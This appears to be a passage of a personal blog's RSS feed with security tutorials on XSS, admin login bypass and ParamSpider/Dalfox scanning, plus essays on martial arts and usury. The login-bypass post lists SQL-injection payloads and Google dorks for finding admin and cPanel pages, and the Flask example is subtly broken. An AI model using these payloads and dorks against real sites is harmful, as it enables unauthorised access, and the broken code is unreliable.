&lt;p&gt;Both edging and relapse have damaging impacts in the context of addiction. Edging, although seemingly safer, actually only delays the fall and prolongs suffering. Meanwhile, relapse is a full return to addictive behavior.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.De2K5U37.png"/><enclosure url="/_astro/image.De2K5U37.png"/></item><item><title>Enhancing Protection with Input Validation and Sanitization</title><link>https://farros.co/blog/enhancing-protection-with-input-validation-and-sanitization/</link><guid isPermaLink="true">https://farros.co/blog/enhancing-protection-with-input-validation-and-sanitization/</guid><description>JSO Vulnerabilities: Enhancing Protection with Input Validation and Sanitization.</description><pubDate>Fri, 05 Jul 2024 09:37:25 GMT</pubDate><content:encoded>&lt;p&gt;In today’s digital age, web security has become a paramount concern for developers and webmasters alike. One of the notable cases in web security involves the methods of Contributor With JSO or XSS (index path), which exploit the functionalities of a website through the creation of user accounts that can then inject harmful scripts.&lt;/p&gt;
&lt;h2&gt;The Role of Contributors in Web Exploits&lt;/h2&gt;
&lt;p&gt;Contributors on a website typically have the ability to create their own accounts. Once an account is established, they can inject payloads using JSO (JavaScript Object) or XSS (Cross Site Scripting) techniques. This process not only undermines the integrity of the website but also poses significant security risks to users.&lt;/p&gt;
&lt;h2&gt;JavaScript Object (JSO)&lt;/h2&gt;
&lt;p&gt;JSO refers to a method where JavaScript is used to create complex interactions on web pages. It can be manipulated to execute unauthorized actions within a web application. An example of a JSO injection is shown below:&lt;/p&gt;
&lt;p&gt;Here, an external JavaScript file is loaded into the web application, potentially leading to malicious activities.&lt;/p&gt;
&lt;h2&gt;Cross Site Scripting (XSS)&lt;/h2&gt;
&lt;p&gt;XSS stands for Cross Site Scripting. This type of attack involves injecting malicious scripts into web pages viewed by other users. The attacker inserts HTML or other client-side scripts into areas where web pages utilize user input, such as forms or URL parameters. This script then acts as if it is a part of the website, executing under the guise of the site’s own content.&lt;/p&gt;
&lt;p&gt;For instance, an XSS attack could be as simple as:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;#x3C;script&gt;alert(&apos;XSS&apos;);&amp;#x3C;/script&gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This script would execute an alert box displaying “XSS” on the user’s screen, demonstrating the website’s vulnerability to script injection.&lt;/p&gt;
&lt;h2&gt;Index Path&lt;/h2&gt;
&lt;p&gt;The term “index path” typically refers to the file or directory access paths within a file system or server. In the context of web security, it implies the URL routes where specific files or resources can be accessed, which can be manipulated for malicious purposes. An example of an index path might involve direct references to file locations on the server, potentially exposing sensitive data.&lt;/p&gt;
&lt;h2&gt;Examples of XSS Attacks and Mitigations&lt;/h2&gt;
&lt;p&gt;XSS attacks can vary in complexity, from simple alerts to stealing cookies or session tokens. To mitigate these threats, web developers must employ input validation and sanitization techniques.&lt;/p&gt;
&lt;p&gt;One practical example involves a simple web application created with Flask, a Python web framework:&lt;/p&gt;
&lt;p&gt;from flask import Flask, request, escape&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;app = Flask(name)  
  
@app.route(&apos;/submitcomment&apos;, methods=[&apos;POST&apos;])  
def submitcomment():  
    usercomment = request.form[&apos;comment&apos;]  
    # Input sanitization  
    safecomment = escape(usercomment)  
    # Save the sanitized comment  
    savecomment(safecomment)  
    return &quot;Your comment has been safely stored!&quot;  
  
def savecomment(comment):  
    # Function to save the comment to a database or file  
    pass  
  
if name == &apos;main&apos;:  
    app.run()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this script, &lt;code&gt;escape&lt;/code&gt; from the Flask module is used to sanitize input, which escapes harmful HTML characters, ensuring they are not executed as HTML or JavaScript when rendered on a web page.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Effective input validation and sanitization are essential for protecting web applications against attacks such as JavaScript Object (JSO) and Cross-Site Scripting (XSS). These security measures prevent malicious scripts from compromising user data and website integrity by ensuring only safe, properly formatted data is accepted and processed.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Thanks to&lt;/strong&gt;: Ketapang Cyber Team&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CJazwjr5.png"/><enclosure url="/_astro/image.CJazwjr5.png"/></item><item><title>Mitigating Admin Login Bypass in Web Security</title><link>https://farros.co/blog/mitigating-admin-login-bypass-in-web-security/</link><guid isPermaLink="true">https://farros.co/blog/mitigating-admin-login-bypass-in-web-security/</guid><description>Understanding and Mitigating Admin Login Bypass in Web Security.</description><pubDate>Tue, 02 Jul 2024 08:06:27 GMT</pubDate><content:encoded>&lt;p&gt;Before exploring the complexities of bypassing admin login mechanisms, it’s crucial to understand what “Admin Login Bypass” actually involves. This technique enables unauthorized access to the admin login page of a website, bypassing standard authentication procedures. This exposure can potentially allow malicious entities to access and modify admin pages, highlighting significant vulnerabilities.&lt;/p&gt;
&lt;h2&gt;The Importance of Robust Admin Login Security&lt;/h2&gt;
&lt;p&gt;The significance of secure admin logins cannot be overstated. Websites with weak authentication systems are prime targets for hackers. It is imperative for website owners to strengthen their admin logins to prevent unauthorized access, thereby protecting sensitive data and maintaining site integrity.&lt;/p&gt;
&lt;h2&gt;Connection to SQL Injection&lt;/h2&gt;
&lt;p&gt;Admin login bypass is closely associated with SQL Injection — a common security vulnerability that allows attackers to impersonate an admin through malformed SQL queries. For example, using a username and password combination like “admin” or “1=1” manipulates the SQL query, granting access without further exploitation.&lt;/p&gt;
&lt;h2&gt;Commonly Used SQL Queries for Bypass&lt;/h2&gt;
&lt;p&gt;In the realm of unauthorized access, certain SQL queries are notoriously used to bypass admin logins. Some of these include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;admin&apos; #&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin&apos; or &apos;1&apos; = &apos;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin&apos; or &apos;1&apos; = &apos;1&apos; #&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin &apos;or 1 = 1 or&apos; &apos;=&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;or 1 = 1 limit 1 -- -+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos; or &apos;1&apos; = &apos;1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos; or &apos;x&apos; = &apos;x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos; or 0 = 0 -&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;or 0 = 0 #&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos; or 1 = 1 --&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;or&apos; one &apos;=&apos; one&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;or 1 = 1 -- -&apos;or&apos;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Using DORKs and Payloads for Bypassing Admin Logins&lt;/h2&gt;
&lt;p&gt;To ethically test these vulnerabilities in controlled environments, here are some Google DORKs and payloads used to find and exploit weak login systems:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;DORKs:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;inurl:/admin/login.php site:il&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inurl:/admin/login.php &quot;administrator&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inurl:/cpanel/login.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inurl:/cpanel/admin.php&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inurl:/cpanel/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Payloads for Auth/Author Bypass:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&apos; or 1=1 limit 1 -- -+&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&apos;=&quot;or&apos;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;admin&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pass&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pass123&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1234&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;administrator&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;passwd&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Mitigating the Bypass Vulnerability&lt;/h2&gt;
&lt;p&gt;To mitigate such vulnerabilities, enhancing script security in login systems is critical. A practical approach includes refining the PHP login script to employ more secure practices:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Original Code:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$username = $_POST[&quot;username&quot;];  
$password = $_POST[&quot;password&quot;];
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Revised Code:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$username = mysqli_real_escape_string($conn, $_POST[&quot;username&quot;]);  
$password = mysqli_real_escape_string($conn, $_POST[&quot;password&quot;]);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Incorporating functions like &lt;code&gt;mysqli_real_escape_string&lt;/code&gt; helps prevent SQL injection by escaping special characters in input strings, thus securing the login process against such exploits.&lt;/p&gt;
&lt;h2&gt;Beyond Simple Escaping: Strengthening Security with Advanced Techniques&lt;/h2&gt;
&lt;p&gt;While &lt;code&gt;mysqli_real_escape_string&lt;/code&gt; is beneficial, employing prepared statements offers a more robust defense against SQL Injection. Prepared statements handle all escaping automatically and can improve performance with repeated query executions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example with Prepared Statements using MySQLi:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;// Create database connection  
$conn = new mysqli($servername, $username, $password, $dbname);  
  
// Check connection  
if ($conn-&gt;connect_error) {  
    die(&quot;Connection failed: &quot; . $conn-&gt;connect_error);  
}  
  
// Retrieve data from POST  
$username = $_POST[&quot;username&quot;];  
$hashedPassword = password_hash($_POST[&quot;password&quot;], PASSWORD_DEFAULT);  
  
// Prepare SQL statement  
$stmt = $conn-&gt;prepare(&quot;INSERT INTO users (username, password) VALUES (?, ?)&quot;);  
  
// Bind parameters to the statement  
$stmt-&gt;bind_param(&quot;ss&quot;, $username, $hashedPassword);  
  
// Execute statement  
$stmt-&gt;execute();  
  
// Close statement and connection  
$stmt-&gt;close();  
$conn-&gt;close();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This example demonstrates the security enhancements achieved by using prepared statements and hashing passwords, providing robust protection against SQL injection and securing user passwords effectively.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;In conclusion, the security of admin login systems is paramount. By understanding the methods used for bypasses and employing more secure coding practices, web administrators can significantly reduce vulnerabilities and enhance the security posture of their sites.&lt;/p&gt;
&lt;p&gt;vulnerabilities and enhance the security posture of their sites.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Thanks to&lt;/strong&gt;: Ketapang Cyber Team&lt;/p&gt;</content:encoded><h:img src="/_astro/image.C3FY8l4f.png"/><enclosure url="/_astro/image.C3FY8l4f.png"/></item><item><title>Combining ParamSpider and Dalfox in Kali Linux</title><link>https://farros.co/blog/combining-paramspider-and-dalfox-in-kali-linux/</link><guid isPermaLink="true">https://farros.co/blog/combining-paramspider-and-dalfox-in-kali-linux/</guid><description>Combining ParamSpider and Dalfox in Kali Linux for Enhanced Security Testing.</description><pubDate>Mon, 01 Jul 2024 03:40:19 GMT</pubDate><content:encoded>&lt;p&gt;In the ever-evolving world of cybersecurity, staying a step ahead of potential vulnerabilities is crucial. Kali Linux, renowned for its robust suite of security tools, provides a perfect environment for this purpose. This comprehensive guide explores the integration of two powerful tools, ParamSpider and Dalfox, to enhance security testing. We’ll cover installation, setup, and a practical use case to demonstrate how these tools can be used together to identify and exploit security vulnerabilities in web applications.&lt;/p&gt;
&lt;h2&gt;Introduction to ParamSpider and Dalfox&lt;/h2&gt;
&lt;p&gt;ParamSpider is a tool designed to find parameter URLs from web archives of the target domain, which are often overlooked but can be potential hotspots for security breaches. It is particularly useful for gathering URLs with parameters for Open Redirection, SSRF, and SQL Injection tests.&lt;/p&gt;
&lt;p&gt;Dalfox is an efficient and powerful XSS (Cross-Site Scripting) scanning tool and parameter analysis tool. It helps in finding XSS vulnerabilities in web applications, a critical aspect of web security.&lt;/p&gt;
&lt;h2&gt;Setting Up the Environment&lt;/h2&gt;
&lt;p&gt;Before diving into the actual integration and usage of ParamSpider and Dalfox, it is essential to set up the environment in Kali Linux. This involves installing the necessary dependencies and ensuring the tools are properly configured.&lt;/p&gt;
&lt;h2&gt;Step 1: Gaining Root Access&lt;/h2&gt;
&lt;p&gt;Start by opening your terminal in Kali Linux and entering the superuser mode to ensure that all operations can be performed with administrative privileges:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;sudo su&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;Step 2: Installing and Setting Up ParamSpider&lt;/h2&gt;
&lt;p&gt;Clone the ParamSpider repository from GitHub, navigate into the directory, and install it using Python’s pip installer:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;git clone https://github.com/devanshbatham/ParamSpider   cd ParamSpider   pip install .&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Once the installation is complete, you can start using ParamSpider to find URLs with parameters. For demonstration, we’ll scan the example domain &lt;code&gt;example.com&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;paramspider -d example.com&lt;/p&gt;
&lt;p&gt;This command instructs ParamSpider to crawl the specified domain and list out URLs containing parameters, which are crucial for further testing.&lt;/p&gt;
&lt;h2&gt;Step 3: Installing and Configuring Dalfox&lt;/h2&gt;
&lt;p&gt;Now, turn your attention to Dalfox. Begin by cloning the Dalfox repository and installing it using Go:&lt;/p&gt;
&lt;p&gt;git clone &lt;a href=&quot;https://github.com/hahwul/dalfox&quot;&gt;https://github.com/hahwul/dalfox&lt;/a&gt;&lt;br&gt;
go install github.com/hahwul/dalfox/v2@latest&lt;/p&gt;
&lt;p&gt;After the installation, move the Dalfox executable to a location in your system’s PATH to make it accessible system-wide:&lt;/p&gt;
&lt;p&gt;cd go/bin&lt;br&gt;
cp dalfox /usr/bin&lt;/p&gt;
&lt;p&gt;Verify the installation by running:&lt;/p&gt;
&lt;p&gt;dalfox -h&lt;/p&gt;
&lt;p&gt;This command displays help and all available commands in Dalfox, indicating a successful installation.&lt;/p&gt;
&lt;h2&gt;Step 4: Integrating ParamSpider with Dalfox&lt;/h2&gt;
&lt;p&gt;With both tools installed, the next step involves leveraging the output from ParamSpider as input for Dalfox. This integration allows for a seamless transition from finding potentially vulnerable parameters to testing them for XSS vulnerabilities.&lt;/p&gt;
&lt;p&gt;After running ParamSpider, you should have a file containing discovered URLs with parameters. Use this file as input for Dalfox:&lt;/p&gt;
&lt;p&gt;dalfox file /ParamSpider/results/example.com.txt&lt;/p&gt;
&lt;p&gt;This command instructs Dalfox to scan each URL found in the output file from ParamSpider for XSS vulnerabilities.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Combining ParamSpider and Dalfox in Kali Linux provides a powerful methodology for uncovering and exploiting security vulnerabilities in web applications. By first identifying URLs with potential vulnerabilities using ParamSpider and then testing them with Dalfox, security professionals can effectively enhance their web application security testing processes.&lt;/p&gt;
&lt;p&gt;This guide not only walks you through the installation and setup of both tools but also demonstrates their practical use. With these tools, you can significantly bolster your security testing capabilities, ensuring more secure applications in a world where cyber threats are constantly evolving.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.gzMIW5oy.png"/><enclosure url="/_astro/image.gzMIW5oy.png"/></item><item><title>The Value of Martial Arts in Work</title><link>https://farros.co/blog/the-value-of-martial-arts-in-work/</link><guid isPermaLink="true">https://farros.co/blog/the-value-of-martial-arts-in-work/</guid><description>The Value of Martial Arts in Work.</description><pubDate>Tue, 26 Sep 2023 07:08:25 GMT</pubDate><content:encoded>&lt;p&gt;I have studied several martial arts disciplines. Starting from Karate, Pagar Nusa, Wushu, to Boxing (self-taught). There are many values emphasized there, one of which is the teaching of being a humble person.&lt;/p&gt;
&lt;p&gt;Study real combat to avoid fighting as much as possible. Except in urgent matters or to protect other people, whether yourself, family, friends or even society. The more you practice hitting, the more afraid you will become of hitting.&lt;/p&gt;
&lt;p&gt;There are many self-defense values that are applied at work, starting from honesty, courage and a sense of responsibility. Work hard until you are able to work smart by combining the two. Without fear, fight injustice loudly and do not underestimate any job as long as it is obtained in the right way (halal).&lt;/p&gt;
&lt;p&gt;The purpose of being a strong person is to protect the weak. Instead of taking material from illegal methods, be it fraud, corruption, usury, and various other forms of crime. This includes helping people who do this, because it falls into the category of helping bad things.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CApR4anc.png"/><enclosure url="/_astro/image.CApR4anc.png"/></item><item><title>From Corporate Insider to Change Agent (Anti-Usury)</title><link>https://farros.co/blog/from-corporate-insider-to-change-agent/</link><guid isPermaLink="true">https://farros.co/blog/from-corporate-insider-to-change-agent/</guid><description>Anti-Usury</description><pubDate>Sat, 16 Sep 2023 00:00:01 GMT</pubDate><content:encoded>&lt;p&gt;In this captivating journey, I transitioned from being a data engineer and trusted ally of bank executives to becoming a change agent dedicated to promoting ethical financial practices. Recognizing the detrimental impact of usury, which is condemned by various religions, including Christianity, Judaism, and Islam, I chose to redirect my skills towards a greater purpose.&lt;/p&gt;
&lt;p&gt;Usury, defined as the practice of unethical or immoral monetary lending that unjustly benefits the lender, poses a grave threat to society. It takes advantage of individuals’ misfortunes and perpetuates an unjust financial system. As I delved deeper into the consequences of usury, I realized the urgent need to raise awareness and foster meaningful change.&lt;/p&gt;
&lt;p&gt;Inspired by my background in data engineering and hacking proficiency, I embarked on a mass movement known as the “Anti-Usury Zone.” With the aid of modern tools like ChatGPT, I could swiftly create and disseminate valuable content to educate the public about the dangers of usury.&lt;/p&gt;
&lt;p&gt;Joining forces with like-minded individuals, we strive to create a society that rejects exploitative lending practices. Our mission is to empower communities, ensuring they understand the perils of usury and the importance of ethical financial decisions. By embracing the Anti-Usury Zone movement, we challenge the existing financial paradigms and advocate for fair, transparent, and moral practices.&lt;/p&gt;
&lt;p&gt;As a change agent, I believe in the power of education and raising awareness. Through this post, I hope to inspire others to question the moral implications of their work and redirect their skills toward promoting a just and equitable society.&lt;/p&gt;
&lt;p&gt;For more information and references on usury and its impact, I recommend exploring reputable sources such as religious texts, scholarly articles, and ethical finance publications. These sources can provide deeper insights into the moral and legal implications of usury and the need for reform.&lt;/p&gt;
&lt;p&gt;Remember, together we can break free from the chains of usury and forge a path towards a more ethical and compassionate financial system.&lt;/p&gt;</content:encoded><h:img src="/_astro/image.CmqcWXdk.png"/><enclosure url="/_astro/image.CmqcWXdk.png"/></item></channel></rss>